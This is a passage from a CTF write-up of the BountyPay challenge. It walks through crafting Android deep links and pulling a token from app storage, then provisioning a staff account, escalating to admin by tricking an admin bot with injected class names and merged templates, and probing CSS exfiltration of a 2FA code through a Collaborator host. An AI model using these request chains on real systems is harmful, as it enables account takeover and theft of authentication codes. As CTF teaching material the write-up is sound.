final SharedPreferences.Editor editor = getSharedPreferences("user_created", 0).edit();
this.childRefTwo.addListenerForSingleValueEvent(new ValueEventListener() {
public void onCancelled(DatabaseError param1DatabaseError) {
Log.e("TAG", "onCancelled", (Throwable)param1DatabaseError.toException());
}
public void onDataChange(DataSnapshot param1DataSnapshot) {
String str = (String)param1DataSnapshot.getValue();
editor.putString("TOKEN", str).apply();
}
});
}
```
But that didn't actually happen. Checking the app logs with `adb logcat` (or better - Android Studio provides a handy `Logcat` tool window) I noticed that it could not authenticate with Firebase:
```
bounty.pay W/DynamiteModule: Local module descriptor class for com.google.firebase.auth not found.
bounty.pay W/GooglePlayServicesUtil: Google Play services out of date. Requires 12451000 but found 11947470
```
This was because I was running Android 7.1.1 Nougat in my emulator. I probably could have upgraded Google Play, but instead I just installed 9.0 Pie SDK and launched another device. Note: you need a device with Google Play pre-installed - only some are.
After re-doing all the steps, I saw in logcat that everything went smoothly:
```
bounty.pay I/TAG: Starting authentication
bounty.pay D/TAG: signInAnonymously:success
bounty.pay I/TAG: Getting host endpoint
bounty.pay I/TAG: Getting Token
```
We can now retrieve the secret values from the local storage:
```bash
$ adb shell
generic_x86_arm:/ $ run-as bounty.pay
generic_x86_arm:/data/data/bounty.pay $ cd shared_prefs/
generic_x86_arm:/data/data/bounty.pay/shared_prefs $ cat user_created.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="USERNAME">nirvana_msu</string>
<string name="PARTTWO">COMPLETE</string>
<string name="HOST">http://api.bountypay.h1ctf.com</string>
<string name="PARTONE">COMPLETE</string>
<string name="TWITTERHANDLE">nirvana_msu</string>
<string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
</map>
```
At this stage we could have just moved on to the next part (back to web) of the CTF but I wanted to follow through the designed challenges to the end.
We need to send another deep link. Relevant code from `PartThreeActivity.java`:
```java
if (getIntent() != null && getIntent().getData() != null) {
Uri uri = getIntent().getData();
final String firstParam = uri.getQueryParameter("three");
final String secondParam = uri.getQueryParameter("switch");
final String thirdParam = uri.getQueryParameter("header");
byte[] arrayOfByte2 = Base64.decode(str1, 0);
byte[] arrayOfByte1 = Base64.decode(str2, 0);
final String decodedFirstParam = new String(arrayOfByte2, StandardCharsets.UTF_8);
final String decodedSecondParam = new String(arrayOfByte1, StandardCharsets.UTF_8);
this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() {
public void onCancelled(DatabaseError param1DatabaseError) {
Log.e("TAG", "onCancelled", (Throwable)param1DatabaseError.toException());
}
public void onDataChange(DataSnapshot param1DataSnapshot) {
String str = (String)param1DataSnapshot.getValue();
if (firstParam != null && decodedFirstParam.equals("PartThreeActivity") && secondParam != null && decodedSecondParam.equals("on")) {
String str1 = thirdParam;
if (str1 != null) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("X-");
stringBuilder.append(str);
if (str1.equals(stringBuilder.toString())) {
editText.setVisibility(0);
button.setVisibility(0);
PartThreeActivity.this.thread.start();
}
}
}
}
});
}
```
And intent declaration from `AndroidManifest.xml`:
```xml
<activity android:label="@string/title_activity_part_three" android:name="bounty.pay.PartThreeActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="three"/>
</intent-filter>
</activity>
```
Based on the above I crafted the next deep link:
```
$ adb shell am start -W -a android.intent.action.VIEW -d "three://part/?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token" bounty.pay
Starting: Intent { act=android.intent.action.VIEW dat=three://part/?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token pkg=bounty.pay }
Status: ok
Activity: bounty.pay/.PartThreeActivity
ThisTime: 224
TotalTime: 224
WaitTime: 253
Complete
```
This reveals the input to submit the leaked hash:
{F862959}
I entered the token `8e9998ee3137ca9ade8f372739f062c1` and was presented with the final screen, confirming that Android challenges were complete. There was also a rather obvious message that `Information leaked here will help with other challenges.`:
{F862964}
## Social Media
Ok, so from the whole of Android challenge, we understood that we could use the header `X-Token: 8e9998ee3137ca9ade8f372739f062c1` with the host `http://api.bountypay.h1ctf.com`.
And indeed we can confirm it works as authentication for the API endpoints:
```http
GET /api/accounts/F8gHiqSdpK/statements?month=05&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"description":"Transactions for 2020-05","transactions":[]}
```
Great. But what does it really give us? We could have already made GET requests via SSRF. What we can do now that we could not do with SSRF is make POST requests, so that must be the next step we're looking for.
Endpoints known to us so far under `/api` did not respond to POST requests - so it's time for Content Discovery again. I've fired a bruteforce to look for new endpoints that respond to POST (as we'll see later, GET would have worked as well) and after a bit I found the new endpoint:
```http
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
```
```http
HTTP/1.1 400 Bad Request
Content-Type: application/json
["Missing Parameter"]
```
So we're missing some parameter. Checking the GET request for the same endpoint:
```http
GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
```
we see a new parameter, `staff_id`. Back to the POST endpoint, trying one of those staff ids gives us:
```http
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
X-Token: 8e9998ee3137ca9ade8f372739f062c1
staff_id=STF:KE624RQ2T9
```
```http
HTTP/1.1 409 Conflict
Content-Type: application/json
["Staff Member already has an account"]
```
HTTP Code [`409 Conflict`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/409) implies that the endpoint is supposed to create something. Together with the message it becomes fairly clear that the endpoint should be used to provision a new account for a staff member. The only two staff ids we have from the GET request give us same message. Entering an invalid value just results in the message `["Invalid Staff ID"]`.
I recalled seeing a [BountypayHQ](https://twitter.com/BountypayHQ) Twitter account earlier in my twitter feed - several people retweeted / liked some tweets.There was a [tweet](https://twitter.com/BountypayHQ/status/1258692286256500741) saying `Today we welcome Sandra to the team!!!`.
That sounds a lot like we have to find a staff id for that Sandra person, but this is actually where I got stuck. Somehow it didn't occur to me to check Twitter followers so I went on to try loads of different things:
* Earlier I saw another Twitter account, [BountypayH](https://twitter.com/BountypayH) which had a tweet saying `Always check for SQLi`. Back then I didn't realise it was just a troll, so I went ahead and fired sqlmap at every endpoint I could think of. I even tried looking for injections within session's JSON payload. That didn't yield anything, but at least I leaned some new sqlmap tricks..
* `Sam Jenkins`, the name of the other staff member, could have possibly hinted at the fact that we need to find a Jenkins instance somewhere? There's no such subdomain, and unclear where else we could look for it. I tried checking a few endpoints on `software` subdomain but this was a dead-end,
* I tried to decrypt session hash, or craft another hash based on the account information for Sam, but it did not lead anywhere at all.
* I tried to forge session cookie for `staff` subdomain, assuming it follows same structure/principles as the cookie of `app` subdomain - another dead end.
* I recalled that `staff` subdomain was also whitelisted for redirect, so we could access it via SSRF. Maybe there's something on it that we could only access via SSRF? I did a bruteforce on available templates and found new ones such as `ticket` and `admin`. [Admin template](https://staff.bountypay.h1ctf.com/?template=admin) responded with a message `No Access to this resource`. I tried it via SSRF but it still responded with same message.
* Tried bruteforcing Sam's password on both `app` and `staff` subdomain - no luck.
After banging my head against the wall with all those dead ends I reached out to [@bbuerhaus](https://twitter.com/bbuerhaus) to bounce my ideas, who confirmed I was on the right track with finding Sandra's staff id, and it wasn't long before I found [Sandra's](https://twitter.com/SandraA76708114) twitter account among both [following](https://twitter.com/BountypayHQ/following) and [followers](https://twitter.com/BountypayHQ/followers) lists for BountypayHQ, and in her timeline I saw [this tweet](https://twitter.com/SandraA76708114/status/1258693001964068864) with a photo featuring her staff access card that shows her Staff ID: `STF:8FJ3KFISL3`. Yay!
Finally I issued the `POST` request to `/api/staff` with Sandra's Staff ID, and surely enough it provisioned a new account for Sandra and gave us the credentials that we could use to login to Staff portal at `staff.bountypay.h1ctf.com`:
```http
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
staff_id=STF:8FJ3KFISL3
```
```http
HTTP/1.1 201 Created
Content-Type: application/json
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
```
## Privilege Escalation
Logging in to Staff portal as Sandra and looking through all HTML and JS sources I noted the following things:
1. Session cookie was no longer a base64-encoded JSON. It couldn't be decrypted - or not easily, at least.
2. There is functionality to change `profile_name` and `profile_avatar`, but in both cases every special character is removed, so looks like XSS is not an option.
3. Javascript code looked extremely interesting:
```http
GET /js/website.js HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
```
```js
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}), $(".tab").click(function() {
return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
````
Several things I noted here:
* Issuing a request to `/admin/upgrade?username=` is likely the goal of this challenge, as this should escalate our privileges to Admin.
* There is a functionality to "send a report" to Admin team.
* We can use `#tab1` ... `#tab4` in URL to invoke a click on the tab on page load.
* There was no element with class`tab4` on the page (only `tab1`, `tab2`, `tab3`), which was interesting.
4. The "send report" functionality is clarified in the HTML code:
> Is there something wrong with this page? If so hit the "Report Now" button and the page will be sent over to our admins to checkout.
> Pages in the /admin directory will be ignored for security
5. There is a second endpoint, `/?template=ticket&ticket_id=3582`, where `profile_name` and `profile_avatar`are reflected as well. It shows a message from Admin to Sandra.
6. Within both HTML pages we observe code like
```html
<script>
var url = 'Lz90ZW1wbGF0ZT1ob21l';
</script>
```
The value here is the base64-encoded URL path, in this case it is `/?template=home`. This is the value sent when reporting a page, meaning we can report an arbitrary page to Admin by encoding the URL path with base64.
First thing I tried was to hit the priv esc endpoint directly:
```http
GET /admin/upgrade?username=sandra.allison HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
```
```http
HTTP/1.1 401 Unauthorized
Content-Type: application/json
["Only admins can perform this"]
```
Ok, so it's fairly clear that our goal to make Admin issue this GET request for us, and this is exactly what the functionality to report the page is for. My next attempt was to report this endpoint, so that Admin would visit it. Encoding `/admin/upgrade?username=sandra.allison`gives us `L2FkbWluL3VwZ3JhZGU/dXNlcm5hbWU9c2FuZHJhLmFsbGlzb24=`, but reporting this page results in same response as reporting any other page:
```http
GET /admin/report?url=L2FkbWluL3VwZ3JhZGU/dXNlcm5hbWU9c2FuZHJhLmFsbGlzb24= HTTP/1.1
Host: staff.bountypay.h1ctf.com
X-Requested-With: XMLHttpRequest
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
["Report received"]
```
This is expected, given we were told that `Pages in the /admin directory will be ignored for security`.
At this point I went the wrong way and tried loads of different things, all leading to a dead end:
* I tried to see if Admin would access an external URL, such as Burp Collaborator. I tried a number of tricks that wold normally be used for an Open Redirect bypass, but none worked.
* I though that `Pages in the /admin directory will be ignored for security` message could be quite literal - maybe there's e.g .a regex check that a path starts with `/admin` that could be bypassed. I tried a number of things like path traversal, using `\` instead of `/` etc but nothing worked.
* By this point I still didn't realize SQLi hint was a troll, so I fired up sqlmap again. I've even tried injections within the reported pages - in case something worked differently for Admin than for us.
* The support ticket functionality reminded me of [Ticket Trick](https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c), so I tried sending a few emails to addresses like `[email protected]` - all bounced back.
* We don't have XSS with `profile_name` and `profile_avatar` parameters, but maybe we have [SSTI](https://portswigger.net/research/server-side-template-injection)? Curly braces were filtered out as well..
I was clearly going down the rabbit hole, especially with that SQLi trolling, so I pinged [@xEHLE_](https://twitter.com/xEHLE_) for a reality check, and he confirmed that I was on the right path originally with trying to make Admin visit the priv esc endpoint, and that I was just overlooking something in the javascript code. And indeed, looking more closely at the jQuery selectors I realised they were too loose and just selected the element(s) based on a class name, and not id: `$(".upgradeToAdmin").click`.
The pieces of the puzzle immediately came together. Coincidentally, we have control of the class name via `profile_avatar` parameter. Coupled with the `#tab4` we can make Admin issue the request to the priv esc endpoint without any interaction! The steps that had to be taken are thus:
1. Change our `profile_avatar` to `upgradeToAdmin tab4`. `tab4` class (together with `#tab4` in the URL) is needed so that the element would be clicked on, and `upgradeToAdmin` class ensures the desired jQuery callback would fire.
2. `profile_avatar`is reflected within our home page, but it's of no use to us since when Admin access the reported page, it would show his details and not ours. We need a page where Admin user would still have our `profile_avatar` reflected, and that's exactly the ticket page!
3. We thus report `/?template=ticket&ticket_id=3582#tab4`, which base64-encoded is `Lz90ZW1wbGF0ZT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiNA==`:
```http
GET /admin/report?url=Lz90ZW1wbGF0ZT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiNA== HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMRXZqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHclN6dzhLTUpjUEJ6c3Z5VmIwNnRMSmFMTzZYR0FrTURqY0NsMDY0bVkrQzE3UT09
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
["Report received"]
```
Not so fast. We got half-way there, and we seem to be on the right track, but look again at the JS code:
```javascript
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
})
```
There is no input with name `username` anywhere on the ticket page, so the request that Admin sends is actually`/admin/upgrade?username=undefined` (which can be confirmed by visiting our crafted URL directly in the browser).
At this point it didn't seem possible to me to influence the request any further so I went down a few more rabbit holes, including searching for SQLi again. This is finally when [@bbuerhaus](https://twitter.com/bbuerhaus) told me that there is no SQLi in this CTF and that it was just a troll :doh:, and that I should continue focusing on getting the admin to issue the request with desired `username`.
Ok, so we need an input with name `username` then. And it finally struck me that there is indeed one such input - back at the login page. This is when the second stage of the puzzle came together for me. Recall that we're dealing with PHP - where we can turn any parameter we submit in our request into an array by simply doing `?param[]=1¶m[]=2`. It's finally clear why the URL routing was using this awkward syntax: `/?template=home`.
I immediately tried turning template parameter into an array, in the hope that the backend would merge the two templates - and it did! Note the second `<!DOCTYPE html>` in the middle. followed by the second template:
```http
GET /?template[]=ticket&ticket_id=3582&template[]=login&username=sandra.allison HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMRXZqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHclN6dzhLTUpjUEJ6c3Z5VmIwNnRMSmFMTzZYR0FrTURqY0NsMDY0bVkrQzE3UT09
```
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BountyPay Staff Portal</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
<link href="/css/style.css" rel="stylesheet">
</head>
<body><nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">BountyPay Staff</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav navbar-right">
<li><a href="/logout">Logout</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container" style="margin-top:60px">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">Message</div>
<div class="panel-body">
<div style="width: 100px;position: absolute">
<div style="margin:auto" class="avatar avatar3"></div>
<div class="text-center">Admin</div>
</div>
<div>
<div class="alert alert-info" style="margin-left:100px;min-height:80px">
<p>Welcome to the staff portal, This is an automated message to show you what a ticket looks like</p>
</div>
</div>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">Reply</div>
<div class="panel-body">
<div style="width: 100px;position: absolute">
<div style="margin:auto" class="avatar upgradeToAdmin tab4"></div>
<div class="text-center">sandra</div>
</div>
<div>
<div style="margin-left:100px;min-height: 100px">
<textarea disabled class="form-control">Replies are currently disabled</textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="footer" style="position: absolute;bottom:0;font-size:10px;height:30px;width:100%;background-color: #ececec;line-height:30px;text-align: center">
©2020 BountyPay | <a href="#" data-toggle="modal" data-target="#myModal">Report This Page</a>
</div>
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="myModalLabel">Report Page</h4>
</div>
<div class="modal-body">
<p>Is there something wrong with this page? If so hit the "Report Now" button and the page will be sent over to our admins to checkout.</p>
<p>Pages in the /admin directory will be ignored for security</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary sendReport">Report Now</button>
</div>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script>
var url = 'Lz90ZW1wbGF0ZVtdPXRpY2tldCZ0aWNrZXRfaWQ9MzU4MiZ0ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29u';
</script>
<script src="/js/website.js"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Staff Login</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<h1 style="text-align: center">Staff Login</h1>
<form method="post" action="/?template=login">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>Username:</label></div>
<div><input name="username" class="form-control" value="sandra.allison"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input name="password" type="password" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
```
I have to say that while it was a fairly obvious thing to try after realising that you need to use `username` input from the login page - that's not something I would expect to see in a real-world application. I mean the general trick of breaking the app behavior by passing an Array to it is commonplace of course, for to actually have a backend that merges templates seems unlikely (at least no established framework would allow that) - there must have been some pretty custom code in the backend that lead to this.
Back the the CTF - note that conveniently, we can also set the value for the `username` input via a GET parameter, which is the last piece for the attack chain.
I then reported the following URL: `/?template[]=ticket&ticket_id=3582&template[]=login&username=sandra.allison#tab4`
```http
GET /admin/report?url=Lz90ZW1wbGF0ZVtdPXRpY2tldCZ0aWNrZXRfaWQ9MzU4MiZ0ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjQ= HTTP/1.1
Host: staff.bountypay.h1ctf.com
X-Requested-With: XMLHttpRequest
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMRXZqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHclN6dzhLTUpjUEJ6c3Z5VmIwNnRMSmFMTzZYR0FrTURqY0NsMDY0bVkrQzE3UT09
```
and ... nothing happened. Visiting that URL directly in the browser I saw that the request was still being made to `/admin/upgrade?username=undefined`. Of course, that makes sense. Javascript (unless loaded asynchronously) is evaluated immediately when it is encountered in the DOM, meaning that it only has access to DOM elements that precede it. I've put the templates in the wrong order, and `username` input simply didn't exist on the page yet when our code was executed.
Finally, I reversed the order of templates: `/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4`
```http
GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjQ= HTTP/1.1
Host: staff.bountypay.h1ctf.com
X-Requested-With: XMLHttpRequest
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMRXZqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHclN6dzhLTUpjUEJ6c3Z5VmIwNnRMSmFMTzZYR0FrTURqY0NsMDY0bVkrQzE3UT09
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMRXZqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHOWlLbi9xY0pkUFIxdnFpV1B4V3JmY3JhT3ZqQ1ZFVlpnYzMzaFAxMllyUzE3UT09; expires=Mon, 06-Jul-2020 23:09:22 GMT; Max-Age=2592000; path=/
["Report received"]
```
And we were given a new session cookie! Logging in with that new cookie, we see that we indeed have extra privileges now. Namely, there is a new tab named `Admin`, showing plain text credentials for Mårten's customer account!
{F863165}
One last thing that wasn't clear to me is what `/?template=admin` was for. I visited it, and it just returned `view admin` string... Must have just been added to divert attention.
## Payment 2FA Bypass / CSS Exfiltration
Back to customer portal at `app.bountypay.h1ctf.com` we login with Mårten's credentials. We use the same `challenge` and `challenge_answer` as before to bypass login 2FA:
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
username=marten.mickos&password=h%26H5wy2Lggj*kKn4OD%26Ype&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ
```
```http
HTTP/1.1 302 Found
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9; expires=Mon, 06-Jul-2020 23:56:57 GMT; Max-Age=2592000
Location: /
```
Recall the original CTF tweet, and that we need to help Mårten approve May bug bounty payments. We thus fetch transactions for May 2020 and we indeed get a valid response this time:
{F863225}
When we click Pay, however, we're presented with another 2FA challenge:
{F863226}
Ok. let's intercept the next request (when we click on "Send Challenge" button) and see what it looks like:
```http
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
```
And the relevant HTML snippet from the response:
```html
<h1 class="text-center">BountyPay</h1>
<h3 class="text-center">2FA Payment Challenge</h3>
<form method="post">
<input type="hidden" name="challenge_timeout" value="1591490942">
<input type="hidden" name="challenge" value="2cf37bd3c17d4621658828b374579adb">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Payment Challenge Sent</div>
<div class="panel-body text-center">
<p>We have sent the payment challenge to your 2FA, you have 2 minutes to enter the code, please enter it below</p>
<div><input name="challenge_answer" class="form-control" maxlength="7"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Send Answer">
</form>
```
Issuing the request a few more times I confirmed that we're presented with a new `challenge`value every time, and our goal is to get the right `challenge_answer` for it, which shouldn't be longer than 7 characters (`maxlength="7"`).The only unusual thing about this is that the POST request contains `app_style` parameter which references a stylesheet from `https://www.bountypay.h1ctf.com/css/uni_2fa_style.css`.
This seems a lot like we're going to need to exfiltrate `challenge_answer`with CSS, but let's confirm step by step.
Firstly, I've made a request using Burp Collaborator payload to confirm we can fetch a stylesheet from an arbitrary external resource:
```http
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https://u1w9neu3o71nmwn6ryh9o7zbg2msah.burpcollaborator.net/css/uni_2fa_style.css
```
And I got a hit straight away:
{F863231}
A few things are worth noting when inspecting the request received by Collaborator:
1. `User-Agent` tells us that request was made from Headless Chrome.
2. [`Sec-Fetch-Dest: style`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Dest) tells us that the resource would be embedded as a stylesheet (using `<link ... rel="stylesheet">`)
Given that we only have a single injection point, I assumed the task would be to exfiltrate `challenge_answer ` characters recursively. I was well aware of the relatively-recent technique for sequential exfiltration using `@import` directives, which you can read about in a brilliant blog post titled [Better Exfiltration via HTML Injection](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b) by [@d0nutptr](https://twitter.com/d0nutptr). Worth mentioning that a similar technique was [first discovered](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) half a year before by [Vila](https://twitter.com/cgvwzq). Note that this technique works in Chrome because Chrome processes `@import` directives asynchronously (executing the rest of CSS code while additional resources load). This, for instance, is not the case for Firefox that executes them sequentially, as was demonstrated by [Michał Bentkowski](https://twitter.com/securitymb) in another excellent blog post on this subject, titled [CSS data exfiltration in Firefox via a single injection point](https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/).
So the fact that page was loaded in Headless Chrome reaffirmed my intuition that we're after sequential exfiltration using `@import` directives. d0nutptr actually wrote a [sic](https://github.com/d0nutptr/sic) tool available on GitHub that could be used to execute such an attack, but I wanted to try this for myself so I wrote the necessary exploit in Python..... only to realise that it's not actually possible. As I have realized, Chrome only loads `@import` resources asynchronously when they appear within `<style>` elements in HTML. When they appear in the external stylesheets using `<link>` tag, however, Chrome stops CSS evaluation until the resource is loaded. It means that in our case sequential exfiltration isn't actually possible.
For a moment I even doubted whether this is about CSS exfiltration, so I even checked whether we could get XSS by injecting quotes into `app_style`to escape the attribute value... but it was secure.
So we're back to the CSS exfiltration. Ok, since the sequential technique won't work, let's just try to at least get the first character, for a start. To get that, all we need is a same-old trick of a selector matching a certain input name/value. First I tried adding this to my stylesheet:
```css
input[name=challenge_answer]{
